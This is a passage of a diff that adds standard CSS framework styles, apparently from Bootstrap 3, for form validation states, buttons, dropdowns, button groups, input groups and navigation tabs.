+ box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;
+}
+.has-warning .input-group-addon {
+ color: #8a6d3b;
+ background-color: #fcf8e3;
+ border-color: #8a6d3b;
+}
+.has-warning .form-control-feedback {
+ color: #8a6d3b;
+}
+.has-error .help-block,
+.has-error .control-label,
+.has-error .radio,
+.has-error .checkbox,
+.has-error .radio-inline,
+.has-error .checkbox-inline,
+.has-error.radio label,
+.has-error.checkbox label,
+.has-error.radio-inline label,
+.has-error.checkbox-inline label {
+ color: #a94442;
+}
+.has-error .form-control {
+ border-color: #a94442;
+ -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);
+ box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);
+}
+.has-error .form-control:focus {
+ border-color: #843534;
+ -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;
+ box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;
+}
+.has-error .input-group-addon {
+ color: #a94442;
+ background-color: #f2dede;
+ border-color: #a94442;
+}
+.has-error .form-control-feedback {
+ color: #a94442;
+}
+.has-feedback label ~ .form-control-feedback {
+ top: 25px;
+}
+.has-feedback label.sr-only ~ .form-control-feedback {
+ top: 0;
+}
+.help-block {
+ display: block;
+ margin-top: 5px;
+ margin-bottom: 10px;
+ color: #737373;
+}
+@media (min-width: 768px) {
+ .form-inline .form-group {
+ display: inline-block;
+ margin-bottom: 0;
+ vertical-align: middle;
+ }
+ .form-inline .form-control {
+ display: inline-block;
+ width: auto;
+ vertical-align: middle;
+ }
+ .form-inline .form-control-static {
+ display: inline-block;
+ }
+ .form-inline .input-group {
+ display: inline-table;
+ vertical-align: middle;
+ }
+ .form-inline .input-group .input-group-addon,
+ .form-inline .input-group .input-group-btn,
+ .form-inline .input-group .form-control {
+ width: auto;
+ }
+ .form-inline .input-group > .form-control {
+ width: 100%;
+ }
+ .form-inline .control-label {
+ margin-bottom: 0;
+ vertical-align: middle;
+ }
+ .form-inline .radio,
+ .form-inline .checkbox {
+ display: inline-block;
+ margin-top: 0;
+ margin-bottom: 0;
+ vertical-align: middle;
+ }
+ .form-inline .radio label,
+ .form-inline .checkbox label {
+ padding-left: 0;
+ }
+ .form-inline .radio input[type="radio"],
+ .form-inline .checkbox input[type="checkbox"] {
+ position: relative;
+ margin-left: 0;
+ }
+ .form-inline .has-feedback .form-control-feedback {
+ top: 0;
+ }
+}
+.form-horizontal .radio,
+.form-horizontal .checkbox,
+.form-horizontal .radio-inline,
+.form-horizontal .checkbox-inline {
+ padding-top: 7px;
+ margin-top: 0;
+ margin-bottom: 0;
+}
+.form-horizontal .radio,
+.form-horizontal .checkbox {
+ min-height: 27px;
+}
+.form-horizontal .form-group {
+ margin-right: -15px;
+ margin-left: -15px;
+}
+@media (min-width: 768px) {
+ .form-horizontal .control-label {
+ padding-top: 7px;
+ margin-bottom: 0;
+ text-align: right;
+ }
+}
+.form-horizontal .has-feedback .form-control-feedback {
+ right: 15px;
+}
+@media (min-width: 768px) {
+ .form-horizontal .form-group-lg .control-label {
+ padding-top: 14.333333px;
+ font-size: 18px;
+ }
+}
+@media (min-width: 768px) {
+ .form-horizontal .form-group-sm .control-label {
+ padding-top: 6px;
+ font-size: 12px;
+ }
+}
+.btn {
+ display: inline-block;
+ padding: 6px 12px;
+ margin-bottom: 0;
+ font-size: 14px;
+ font-weight: normal;
+ line-height: 1.42857143;
+ text-align: center;
+ white-space: nowrap;
+ vertical-align: middle;
+ -ms-touch-action: manipulation;
+ touch-action: manipulation;
+ cursor: pointer;
+ -webkit-user-select: none;
+ -moz-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+ background-image: none;
+ border: 1px solid transparent;
+ border-radius: 4px;
+}
+.btn:focus,
+.btn:active:focus,
+.btn.active:focus,
+.btn.focus,
+.btn:active.focus,
+.btn.active.focus {
+ outline: thin dotted;
+ outline: 5px auto -webkit-focus-ring-color;
+ outline-offset: -2px;
+}
+.btn:hover,
+.btn:focus,
+.btn.focus {
+ color: #333;
+ text-decoration: none;
+}
+.btn:active,
+.btn.active {
+ background-image: none;
+ outline: 0;
+ -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
+ box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
+}
+.btn.disabled,
+.btn[disabled],
+fieldset[disabled] .btn {
+ cursor: not-allowed;
+ filter: alpha(opacity=65);
+ -webkit-box-shadow: none;
+ box-shadow: none;
+ opacity: .65;
+}
+a.btn.disabled,
+fieldset[disabled] a.btn {
+ pointer-events: none;
+}
+.btn-default {
+ color: #333;
+ background-color: #fff;
+ border-color: #ccc;
+}
+.btn-default:focus,
+.btn-default.focus {
+ color: #333;
+ background-color: #e6e6e6;
+ border-color: #8c8c8c;
+}
+.btn-default:hover {
+ color: #333;
+ background-color: #e6e6e6;
+ border-color: #adadad;
+}
+.btn-default:active,
+.btn-default.active,
+.open > .dropdown-toggle.btn-default {
+ color: #333;
+ background-color: #e6e6e6;
+ border-color: #adadad;
+}
+.btn-default:active:hover,
+.btn-default.active:hover,
+.open > .dropdown-toggle.btn-default:hover,
+.btn-default:active:focus,
+.btn-default.active:focus,
+.open > .dropdown-toggle.btn-default:focus,
+.btn-default:active.focus,
+.btn-default.active.focus,
+.open > .dropdown-toggle.btn-default.focus {
+ color: #333;
+ background-color: #d4d4d4;
+ border-color: #8c8c8c;
+}
+.btn-default:active,
+.btn-default.active,
+.open > .dropdown-toggle.btn-default {
+ background-image: none;
+}
+.btn-default.disabled,
+.btn-default[disabled],
+fieldset[disabled] .btn-default,
+.btn-default.disabled:hover,
+.btn-default[disabled]:hover,
+fieldset[disabled] .btn-default:hover,
+.btn-default.disabled:focus,
+.btn-default[disabled]:focus,
+fieldset[disabled] .btn-default:focus,
+.btn-default.disabled.focus,
+.btn-default[disabled].focus,
+fieldset[disabled] .btn-default.focus,
+.btn-default.disabled:active,
+.btn-default[disabled]:active,
+fieldset[disabled] .btn-default:active,
+.btn-default.disabled.active,
+.btn-default[disabled].active,
+fieldset[disabled] .btn-default.active {
+ background-color: #fff;
+ border-color: #ccc;
+}
+.btn-default .badge {
+ color: #fff;
+ background-color: #333;
+}
+.btn-primary {
+ color: #fff;
+ background-color: #337ab7;
+ border-color: #2e6da4;
+}
+.btn-primary:focus,
+.btn-primary.focus {
+ color: #fff;
+ background-color: #286090;
+ border-color: #122b40;
+}
+.btn-primary:hover {
+ color: #fff;
+ background-color: #286090;
+ border-color: #204d74;
+}
+.btn-primary:active,
+.btn-primary.active,
+.open > .dropdown-toggle.btn-primary {
+ color: #fff;
+ background-color: #286090;
+ border-color: #204d74;
+}
+.btn-primary:active:hover,
+.btn-primary.active:hover,
+.open > .dropdown-toggle.btn-primary:hover,
+.btn-primary:active:focus,
+.btn-primary.active:focus,
+.open > .dropdown-toggle.btn-primary:focus,
+.btn-primary:active.focus,
+.btn-primary.active.focus,
+.open > .dropdown-toggle.btn-primary.focus {
+ color: #fff;
+ background-color: #204d74;
+ border-color: #122b40;
+}
+.btn-primary:active,
+.btn-primary.active,
+.open > .dropdown-toggle.btn-primary {
+ background-image: none;
+}
+.btn-primary.disabled,
+.btn-primary[disabled],
+fieldset[disabled] .btn-primary,
+.btn-primary.disabled:hover,
+.btn-primary[disabled]:hover,
+fieldset[disabled] .btn-primary:hover,
+.btn-primary.disabled:focus,
+.btn-primary[disabled]:focus,
+fieldset[disabled] .btn-primary:focus,
+.btn-primary.disabled.focus,
+.btn-primary[disabled].focus,
+fieldset[disabled] .btn-primary.focus,
+.btn-primary.disabled:active,
+.btn-primary[disabled]:active,
+fieldset[disabled] .btn-primary:active,
+.btn-primary.disabled.active,
+.btn-primary[disabled].active,
+fieldset[disabled] .btn-primary.active {
+ background-color: #337ab7;
+ border-color: #2e6da4;
+}
+.btn-primary .badge {
+ color: #337ab7;
+ background-color: #fff;
+}
+.btn-success {
+ color: #fff;
+ background-color: #5cb85c;
+ border-color: #4cae4c;
+}
+.btn-success:focus,
+.btn-success.focus {
+ color: #fff;
+ background-color: #449d44;
+ border-color: #255625;
+}
+.btn-success:hover {
+ color: #fff;
+ background-color: #449d44;
+ border-color: #398439;
+}
+.btn-success:active,
+.btn-success.active,
+.open > .dropdown-toggle.btn-success {
+ color: #fff;
+ background-color: #449d44;
+ border-color: #398439;
+}
+.btn-success:active:hover,
+.btn-success.active:hover,
+.open > .dropdown-toggle.btn-success:hover,
+.btn-success:active:focus,
+.btn-success.active:focus,
+.open > .dropdown-toggle.btn-success:focus,
+.btn-success:active.focus,
+.btn-success.active.focus,
+.open > .dropdown-toggle.btn-success.focus {
+ color: #fff;
+ background-color: #398439;
+ border-color: #255625;
+}
+.btn-success:active,
+.btn-success.active,
+.open > .dropdown-toggle.btn-success {
+ background-image: none;
+}
+.btn-success.disabled,
+.btn-success[disabled],
+fieldset[disabled] .btn-success,
+.btn-success.disabled:hover,
+.btn-success[disabled]:hover,
+fieldset[disabled] .btn-success:hover,
+.btn-success.disabled:focus,
+.btn-success[disabled]:focus,
+fieldset[disabled] .btn-success:focus,
+.btn-success.disabled.focus,
+.btn-success[disabled].focus,
+fieldset[disabled] .btn-success.focus,
+.btn-success.disabled:active,
+.btn-success[disabled]:active,
+fieldset[disabled] .btn-success:active,
+.btn-success.disabled.active,
+.btn-success[disabled].active,
+fieldset[disabled] .btn-success.active {
+ background-color: #5cb85c;
+ border-color: #4cae4c;
+}
+.btn-success .badge {
+ color: #5cb85c;
+ background-color: #fff;
+}
+.btn-info {
+ color: #fff;
+ background-color: #5bc0de;
+ border-color: #46b8da;
+}
+.btn-info:focus,
+.btn-info.focus {
+ color: #fff;
+ background-color: #31b0d5;
+ border-color: #1b6d85;
+}
+.btn-info:hover {
+ color: #fff;
+ background-color: #31b0d5;
+ border-color: #269abc;
+}
+.btn-info:active,
+.btn-info.active,
+.open > .dropdown-toggle.btn-info {
+ color: #fff;
+ background-color: #31b0d5;
+ border-color: #269abc;
+}
+.btn-info:active:hover,
+.btn-info.active:hover,
+.open > .dropdown-toggle.btn-info:hover,
+.btn-info:active:focus,
+.btn-info.active:focus,
+.open > .dropdown-toggle.btn-info:focus,
+.btn-info:active.focus,
+.btn-info.active.focus,
+.open > .dropdown-toggle.btn-info.focus {
+ color: #fff;
+ background-color: #269abc;
+ border-color: #1b6d85;
+}
+.btn-info:active,
+.btn-info.active,
+.open > .dropdown-toggle.btn-info {
+ background-image: none;
+}
+.btn-info.disabled,
+.btn-info[disabled],
+fieldset[disabled] .btn-info,
+.btn-info.disabled:hover,
+.btn-info[disabled]:hover,
+fieldset[disabled] .btn-info:hover,
+.btn-info.disabled:focus,
+.btn-info[disabled]:focus,
+fieldset[disabled] .btn-info:focus,
+.btn-info.disabled.focus,
+.btn-info[disabled].focus,
+fieldset[disabled] .btn-info.focus,
+.btn-info.disabled:active,
+.btn-info[disabled]:active,
+fieldset[disabled] .btn-info:active,
+.btn-info.disabled.active,
+.btn-info[disabled].active,
+fieldset[disabled] .btn-info.active {
+ background-color: #5bc0de;
+ border-color: #46b8da;
+}
+.btn-info .badge {
+ color: #5bc0de;
+ background-color: #fff;
+}
+.btn-warning {
+ color: #fff;
+ background-color: #f0ad4e;
+ border-color: #eea236;
+}
+.btn-warning:focus,
+.btn-warning.focus {
+ color: #fff;
+ background-color: #ec971f;
+ border-color: #985f0d;
+}
+.btn-warning:hover {
+ color: #fff;
+ background-color: #ec971f;
+ border-color: #d58512;
+}
+.btn-warning:active,
+.btn-warning.active,
+.open > .dropdown-toggle.btn-warning {
+ color: #fff;
+ background-color: #ec971f;
+ border-color: #d58512;
+}
+.btn-warning:active:hover,
+.btn-warning.active:hover,
+.open > .dropdown-toggle.btn-warning:hover,
+.btn-warning:active:focus,
+.btn-warning.active:focus,
+.open > .dropdown-toggle.btn-warning:focus,
+.btn-warning:active.focus,
+.btn-warning.active.focus,
+.open > .dropdown-toggle.btn-warning.focus {
+ color: #fff;
+ background-color: #d58512;
+ border-color: #985f0d;
+}
+.btn-warning:active,
+.btn-warning.active,
+.open > .dropdown-toggle.btn-warning {
+ background-image: none;
+}
+.btn-warning.disabled,
+.btn-warning[disabled],
+fieldset[disabled] .btn-warning,
+.btn-warning.disabled:hover,
+.btn-warning[disabled]:hover,
+fieldset[disabled] .btn-warning:hover,
+.btn-warning.disabled:focus,
+.btn-warning[disabled]:focus,
+fieldset[disabled] .btn-warning:focus,
+.btn-warning.disabled.focus,
+.btn-warning[disabled].focus,
+fieldset[disabled] .btn-warning.focus,
+.btn-warning.disabled:active,
+.btn-warning[disabled]:active,
+fieldset[disabled] .btn-warning:active,
+.btn-warning.disabled.active,
+.btn-warning[disabled].active,
+fieldset[disabled] .btn-warning.active {
+ background-color: #f0ad4e;
+ border-color: #eea236;
+}
+.btn-warning .badge {
+ color: #f0ad4e;
+ background-color: #fff;
+}
+.btn-danger {
+ color: #fff;
+ background-color: #d9534f;
+ border-color: #d43f3a;
+}
+.btn-danger:focus,
+.btn-danger.focus {
+ color: #fff;
+ background-color: #c9302c;
+ border-color: #761c19;
+}
+.btn-danger:hover {
+ color: #fff;
+ background-color: #c9302c;
+ border-color: #ac2925;
+}
+.btn-danger:active,
+.btn-danger.active,
+.open > .dropdown-toggle.btn-danger {
+ color: #fff;
+ background-color: #c9302c;
+ border-color: #ac2925;
+}
+.btn-danger:active:hover,
+.btn-danger.active:hover,
+.open > .dropdown-toggle.btn-danger:hover,
+.btn-danger:active:focus,
+.btn-danger.active:focus,
+.open > .dropdown-toggle.btn-danger:focus,
+.btn-danger:active.focus,
+.btn-danger.active.focus,
+.open > .dropdown-toggle.btn-danger.focus {
+ color: #fff;
+ background-color: #ac2925;
+ border-color: #761c19;
+}
+.btn-danger:active,
+.btn-danger.active,
+.open > .dropdown-toggle.btn-danger {
+ background-image: none;
+}
+.btn-danger.disabled,
+.btn-danger[disabled],
+fieldset[disabled] .btn-danger,
+.btn-danger.disabled:hover,
+.btn-danger[disabled]:hover,
+fieldset[disabled] .btn-danger:hover,
+.btn-danger.disabled:focus,
+.btn-danger[disabled]:focus,
+fieldset[disabled] .btn-danger:focus,
+.btn-danger.disabled.focus,
+.btn-danger[disabled].focus,
+fieldset[disabled] .btn-danger.focus,
+.btn-danger.disabled:active,
+.btn-danger[disabled]:active,
+fieldset[disabled] .btn-danger:active,
+.btn-danger.disabled.active,
+.btn-danger[disabled].active,
+fieldset[disabled] .btn-danger.active {
+ background-color: #d9534f;
+ border-color: #d43f3a;
+}
+.btn-danger .badge {
+ color: #d9534f;
+ background-color: #fff;
+}
+.btn-link {
+ font-weight: normal;
+ color: #337ab7;
+ border-radius: 0;
+}
+.btn-link,
+.btn-link:active,
+.btn-link.active,
+.btn-link[disabled],
+fieldset[disabled] .btn-link {
+ background-color: transparent;
+ -webkit-box-shadow: none;
+ box-shadow: none;
+}
+.btn-link,
+.btn-link:hover,
+.btn-link:focus,
+.btn-link:active {
+ border-color: transparent;
+}
+.btn-link:hover,
+.btn-link:focus {
+ color: #23527c;
+ text-decoration: underline;
+ background-color: transparent;
+}
+.btn-link[disabled]:hover,
+fieldset[disabled] .btn-link:hover,
+.btn-link[disabled]:focus,
+fieldset[disabled] .btn-link:focus {
+ color: #777;
+ text-decoration: none;
+}
+.btn-lg,
+.btn-group-lg > .btn {
+ padding: 10px 16px;
+ font-size: 18px;
+ line-height: 1.3333333;
+ border-radius: 6px;
+}
+.btn-sm,
+.btn-group-sm > .btn {
+ padding: 5px 10px;
+ font-size: 12px;
+ line-height: 1.5;
+ border-radius: 3px;
+}
+.btn-xs,
+.btn-group-xs > .btn {
+ padding: 1px 5px;
+ font-size: 12px;
+ line-height: 1.5;
+ border-radius: 3px;
+}
+.btn-block {
+ display: block;
+ width: 100%;
+}
+.btn-block + .btn-block {
+ margin-top: 5px;
+}
+input[type="submit"].btn-block,
+input[type="reset"].btn-block,
+input[type="button"].btn-block {
+ width: 100%;
+}
+.fade {
+ opacity: 0;
+ -webkit-transition: opacity .15s linear;
+ -o-transition: opacity .15s linear;
+ transition: opacity .15s linear;
+}
+.fade.in {
+ opacity: 1;
+}
+.collapse {
+ display: none;
+}
+.collapse.in {
+ display: block;
+}
+tr.collapse.in {
+ display: table-row;
+}
+tbody.collapse.in {
+ display: table-row-group;
+}
+.collapsing {
+ position: relative;
+ height: 0;
+ overflow: hidden;
+ -webkit-transition-timing-function: ease;
+ -o-transition-timing-function: ease;
+ transition-timing-function: ease;
+ -webkit-transition-duration: .35s;
+ -o-transition-duration: .35s;
+ transition-duration: .35s;
+ -webkit-transition-property: height, visibility;
+ -o-transition-property: height, visibility;
+ transition-property: height, visibility;
+}
+.caret {
+ display: inline-block;
+ width: 0;
+ height: 0;
+ margin-left: 2px;
+ vertical-align: middle;
+ border-top: 4px dashed;
+ border-top: 4px solid \9;
+ border-right: 4px solid transparent;
+ border-left: 4px solid transparent;
+}
+.dropup,
+.dropdown {
+ position: relative;
+}
+.dropdown-toggle:focus {
+ outline: 0;
+}
+.dropdown-menu {
+ position: absolute;
+ top: 100%;
+ left: 0;
+ z-index: 1000;
+ display: none;
+ float: left;
+ min-width: 160px;
+ padding: 5px 0;
+ margin: 2px 0 0;
+ font-size: 14px;
+ text-align: left;
+ list-style: none;
+ background-color: #fff;
+ -webkit-background-clip: padding-box;
+ background-clip: padding-box;
+ border: 1px solid #ccc;
+ border: 1px solid rgba(0, 0, 0, .15);
+ border-radius: 4px;
+ -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175);
+ box-shadow: 0 6px 12px rgba(0, 0, 0, .175);
+}
+.dropdown-menu.pull-right {
+ right: 0;
+ left: auto;
+}
+.dropdown-menu .divider {
+ height: 1px;
+ margin: 9px 0;
+ overflow: hidden;
+ background-color: #e5e5e5;
+}
+.dropdown-menu > li > a {
+ display: block;
+ padding: 3px 20px;
+ clear: both;
+ font-weight: normal;
+ line-height: 1.42857143;
+ color: #333;
+ white-space: nowrap;
+}
+.dropdown-menu > li > a:hover,
+.dropdown-menu > li > a:focus {
+ color: #262626;
+ text-decoration: none;
+ background-color: #f5f5f5;
+}
+.dropdown-menu > .active > a,
+.dropdown-menu > .active > a:hover,
+.dropdown-menu > .active > a:focus {
+ color: #fff;
+ text-decoration: none;
+ background-color: #337ab7;
+ outline: 0;
+}
+.dropdown-menu > .disabled > a,
+.dropdown-menu > .disabled > a:hover,
+.dropdown-menu > .disabled > a:focus {
+ color: #777;
+}
+.dropdown-menu > .disabled > a:hover,
+.dropdown-menu > .disabled > a:focus {
+ text-decoration: none;
+ cursor: not-allowed;
+ background-color: transparent;
+ background-image: none;
+ filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
+}
+.open > .dropdown-menu {
+ display: block;
+}
+.open > a {
+ outline: 0;
+}
+.dropdown-menu-right {
+ right: 0;
+ left: auto;
+}
+.dropdown-menu-left {
+ right: auto;
+ left: 0;
+}
+.dropdown-header {
+ display: block;
+ padding: 3px 20px;
+ font-size: 12px;
+ line-height: 1.42857143;
+ color: #777;
+ white-space: nowrap;
+}
+.dropdown-backdrop {
+ position: fixed;
+ top: 0;
+ right: 0;
+ bottom: 0;
+ left: 0;
+ z-index: 990;
+}
+.pull-right > .dropdown-menu {
+ right: 0;
+ left: auto;
+}
+.dropup .caret,
+.navbar-fixed-bottom .dropdown .caret {
+ content: "";
+ border-top: 0;
+ border-bottom: 4px dashed;
+ border-bottom: 4px solid \9;
+}
+.dropup .dropdown-menu,
+.navbar-fixed-bottom .dropdown .dropdown-menu {
+ top: auto;
+ bottom: 100%;
+ margin-bottom: 2px;
+}
+@media (min-width: 768px) {
+ .navbar-right .dropdown-menu {
+ right: 0;
+ left: auto;
+ }
+ .navbar-right .dropdown-menu-left {
+ right: auto;
+ left: 0;
+ }
+}
+.btn-group,
+.btn-group-vertical {
+ position: relative;
+ display: inline-block;
+ vertical-align: middle;
+}
+.btn-group > .btn,
+.btn-group-vertical > .btn {
+ position: relative;
+ float: left;
+}
+.btn-group > .btn:hover,
+.btn-group-vertical > .btn:hover,
+.btn-group > .btn:focus,
+.btn-group-vertical > .btn:focus,
+.btn-group > .btn:active,
+.btn-group-vertical > .btn:active,
+.btn-group > .btn.active,
+.btn-group-vertical > .btn.active {
+ z-index: 2;
+}
+.btn-group .btn + .btn,
+.btn-group .btn + .btn-group,
+.btn-group .btn-group + .btn,
+.btn-group .btn-group + .btn-group {
+ margin-left: -1px;
+}
+.btn-toolbar {
+ margin-left: -5px;
+}
+.btn-toolbar .btn,
+.btn-toolbar .btn-group,
+.btn-toolbar .input-group {
+ float: left;
+}
+.btn-toolbar > .btn,
+.btn-toolbar > .btn-group,
+.btn-toolbar > .input-group {
+ margin-left: 5px;
+}
+.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {
+ border-radius: 0;
+}
+.btn-group > .btn:first-child {
+ margin-left: 0;
+}
+.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {
+ border-top-right-radius: 0;
+ border-bottom-right-radius: 0;
+}
+.btn-group > .btn:last-child:not(:first-child),
+.btn-group > .dropdown-toggle:not(:first-child) {
+ border-top-left-radius: 0;
+ border-bottom-left-radius: 0;
+}
+.btn-group > .btn-group {
+ float: left;
+}
+.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {
+ border-radius: 0;
+}
+.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,
+.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {
+ border-top-right-radius: 0;
+ border-bottom-right-radius: 0;
+}
+.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {
+ border-top-left-radius: 0;
+ border-bottom-left-radius: 0;
+}
+.btn-group .dropdown-toggle:active,
+.btn-group.open .dropdown-toggle {
+ outline: 0;
+}
+.btn-group > .btn + .dropdown-toggle {
+ padding-right: 8px;
+ padding-left: 8px;
+}
+.btn-group > .btn-lg + .dropdown-toggle {
+ padding-right: 12px;
+ padding-left: 12px;
+}
+.btn-group.open .dropdown-toggle {
+ -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
+ box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
+}
+.btn-group.open .dropdown-toggle.btn-link {
+ -webkit-box-shadow: none;
+ box-shadow: none;
+}
+.btn .caret {
+ margin-left: 0;
+}
+.btn-lg .caret {
+ border-width: 5px 5px 0;
+ border-bottom-width: 0;
+}
+.dropup .btn-lg .caret {
+ border-width: 0 5px 5px;
+}
+.btn-group-vertical > .btn,
+.btn-group-vertical > .btn-group,
+.btn-group-vertical > .btn-group > .btn {
+ display: block;
+ float: none;
+ width: 100%;
+ max-width: 100%;
+}
+.btn-group-vertical > .btn-group > .btn {
+ float: none;
+}
+.btn-group-vertical > .btn + .btn,
+.btn-group-vertical > .btn + .btn-group,
+.btn-group-vertical > .btn-group + .btn,
+.btn-group-vertical > .btn-group + .btn-group {
+ margin-top: -1px;
+ margin-left: 0;
+}
+.btn-group-vertical > .btn:not(:first-child):not(:last-child) {
+ border-radius: 0;
+}
+.btn-group-vertical > .btn:first-child:not(:last-child) {
+ border-top-right-radius: 4px;
+ border-bottom-right-radius: 0;
+ border-bottom-left-radius: 0;
+}
+.btn-group-vertical > .btn:last-child:not(:first-child) {
+ border-top-left-radius: 0;
+ border-top-right-radius: 0;
+ border-bottom-left-radius: 4px;
+}
+.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {
+ border-radius: 0;
+}
+.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,
+.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {
+ border-bottom-right-radius: 0;
+ border-bottom-left-radius: 0;
+}
+.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {
+ border-top-left-radius: 0;
+ border-top-right-radius: 0;
+}
+.btn-group-justified {
+ display: table;
+ width: 100%;
+ table-layout: fixed;
+ border-collapse: separate;
+}
+.btn-group-justified > .btn,
+.btn-group-justified > .btn-group {
+ display: table-cell;
+ float: none;
+ width: 1%;
+}
+.btn-group-justified > .btn-group .btn {
+ width: 100%;
+}
+.btn-group-justified > .btn-group .dropdown-menu {
+ left: auto;
+}
+[data-toggle="buttons"] > .btn input[type="radio"],
+[data-toggle="buttons"] > .btn-group > .btn input[type="radio"],
+[data-toggle="buttons"] > .btn input[type="checkbox"],
+[data-toggle="buttons"] > .btn-group > .btn input[type="checkbox"] {
+ position: absolute;
+ clip: rect(0, 0, 0, 0);
+ pointer-events: none;
+}
+.input-group {
+ position: relative;
+ display: table;
+ border-collapse: separate;
+}
+.input-group[class*="col-"] {
+ float: none;
+ padding-right: 0;
+ padding-left: 0;
+}
+.input-group .form-control {
+ position: relative;
+ z-index: 2;
+ float: left;
+ width: 100%;
+ margin-bottom: 0;
+}
+.input-group-lg > .form-control,
+.input-group-lg > .input-group-addon,
+.input-group-lg > .input-group-btn > .btn {
+ height: 46px;
+ padding: 10px 16px;
+ font-size: 18px;
+ line-height: 1.3333333;
+ border-radius: 6px;
+}
+select.input-group-lg > .form-control,
+select.input-group-lg > .input-group-addon,
+select.input-group-lg > .input-group-btn > .btn {
+ height: 46px;
+ line-height: 46px;
+}
+textarea.input-group-lg > .form-control,
+textarea.input-group-lg > .input-group-addon,
+textarea.input-group-lg > .input-group-btn > .btn,
+select[multiple].input-group-lg > .form-control,
+select[multiple].input-group-lg > .input-group-addon,
+select[multiple].input-group-lg > .input-group-btn > .btn {
+ height: auto;
+}
+.input-group-sm > .form-control,
+.input-group-sm > .input-group-addon,
+.input-group-sm > .input-group-btn > .btn {
+ height: 30px;
+ padding: 5px 10px;
+ font-size: 12px;
+ line-height: 1.5;
+ border-radius: 3px;
+}
+select.input-group-sm > .form-control,
+select.input-group-sm > .input-group-addon,
+select.input-group-sm > .input-group-btn > .btn {
+ height: 30px;
+ line-height: 30px;
+}
+textarea.input-group-sm > .form-control,
+textarea.input-group-sm > .input-group-addon,
+textarea.input-group-sm > .input-group-btn > .btn,
+select[multiple].input-group-sm > .form-control,
+select[multiple].input-group-sm > .input-group-addon,
+select[multiple].input-group-sm > .input-group-btn > .btn {
+ height: auto;
+}
+.input-group-addon,
+.input-group-btn,
+.input-group .form-control {
+ display: table-cell;
+}
+.input-group-addon:not(:first-child):not(:last-child),
+.input-group-btn:not(:first-child):not(:last-child),
+.input-group .form-control:not(:first-child):not(:last-child) {
+ border-radius: 0;
+}
+.input-group-addon,
+.input-group-btn {
+ width: 1%;
+ white-space: nowrap;
+ vertical-align: middle;
+}
+.input-group-addon {
+ padding: 6px 12px;
+ font-size: 14px;
+ font-weight: normal;
+ line-height: 1;
+ color: #555;
+ text-align: center;
+ background-color: #eee;
+ border: 1px solid #ccc;
+ border-radius: 4px;
+}
+.input-group-addon.input-sm {
+ padding: 5px 10px;
+ font-size: 12px;
+ border-radius: 3px;
+}
+.input-group-addon.input-lg {
+ padding: 10px 16px;
+ font-size: 18px;
+ border-radius: 6px;
+}
+.input-group-addon input[type="radio"],
+.input-group-addon input[type="checkbox"] {
+ margin-top: 0;
+}
+.input-group .form-control:first-child,
+.input-group-addon:first-child,
+.input-group-btn:first-child > .btn,
+.input-group-btn:first-child > .btn-group > .btn,
+.input-group-btn:first-child > .dropdown-toggle,
+.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),
+.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {
+ border-top-right-radius: 0;
+ border-bottom-right-radius: 0;
+}
+.input-group-addon:first-child {
+ border-right: 0;
+}
+.input-group .form-control:last-child,
+.input-group-addon:last-child,
+.input-group-btn:last-child > .btn,
+.input-group-btn:last-child > .btn-group > .btn,
+.input-group-btn:last-child > .dropdown-toggle,
+.input-group-btn:first-child > .btn:not(:first-child),
+.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {
+ border-top-left-radius: 0;
+ border-bottom-left-radius: 0;
+}
+.input-group-addon:last-child {
+ border-left: 0;
+}
+.input-group-btn {
+ position: relative;
+ font-size: 0;
+ white-space: nowrap;
+}
+.input-group-btn > .btn {
+ position: relative;
+}
+.input-group-btn > .btn + .btn {
+ margin-left: -1px;
+}
+.input-group-btn > .btn:hover,
+.input-group-btn > .btn:focus,
+.input-group-btn > .btn:active {
+ z-index: 2;
+}
+.input-group-btn:first-child > .btn,
+.input-group-btn:first-child > .btn-group {
+ margin-right: -1px;
+}
+.input-group-btn:last-child > .btn,
+.input-group-btn:last-child > .btn-group {
+ z-index: 2;
+ margin-left: -1px;
+}
+.nav {
+ padding-left: 0;
+ margin-bottom: 0;
+ list-style: none;
+}
+.nav > li {
+ position: relative;
+ display: block;
+}
+.nav > li > a {
+ position: relative;
+ display: block;
+ padding: 10px 15px;
+}
+.nav > li > a:hover,
+.nav > li > a:focus {
+ text-decoration: none;
+ background-color: #eee;
+}
+.nav > li.disabled > a {
+ color: #777;
+}
+.nav > li.disabled > a:hover,
+.nav > li.disabled > a:focus {
+ color: #777;
+ text-decoration: none;
+ cursor: not-allowed;
+ background-color: transparent;
+}
+.nav .open > a,
+.nav .open > a:hover,
+.nav .open > a:focus {
+ background-color: #eee;
+ border-color: #337ab7;
+}
+.nav .nav-divider {
+ height: 1px;
+ margin: 9px 0;
+ overflow: hidden;
+ background-color: #e5e5e5;
+}
+.nav > li > a > img {
+ max-width: none;
+}
+.nav-tabs {
+ border-bottom: 1px solid #ddd;
+}
+.nav-tabs > li {
+ float: left;
+ margin-bottom: -1px;
+}
+.nav-tabs > li > a {
+ margin-right: 2px;
+ line-height: 1.42857143;
+ border: 1px solid transparent;
+ border-radius: 4px 4px 0 0;
+}
+.nav-tabs > li > a:hover {
+ border-color: #eee #eee #ddd;
+}
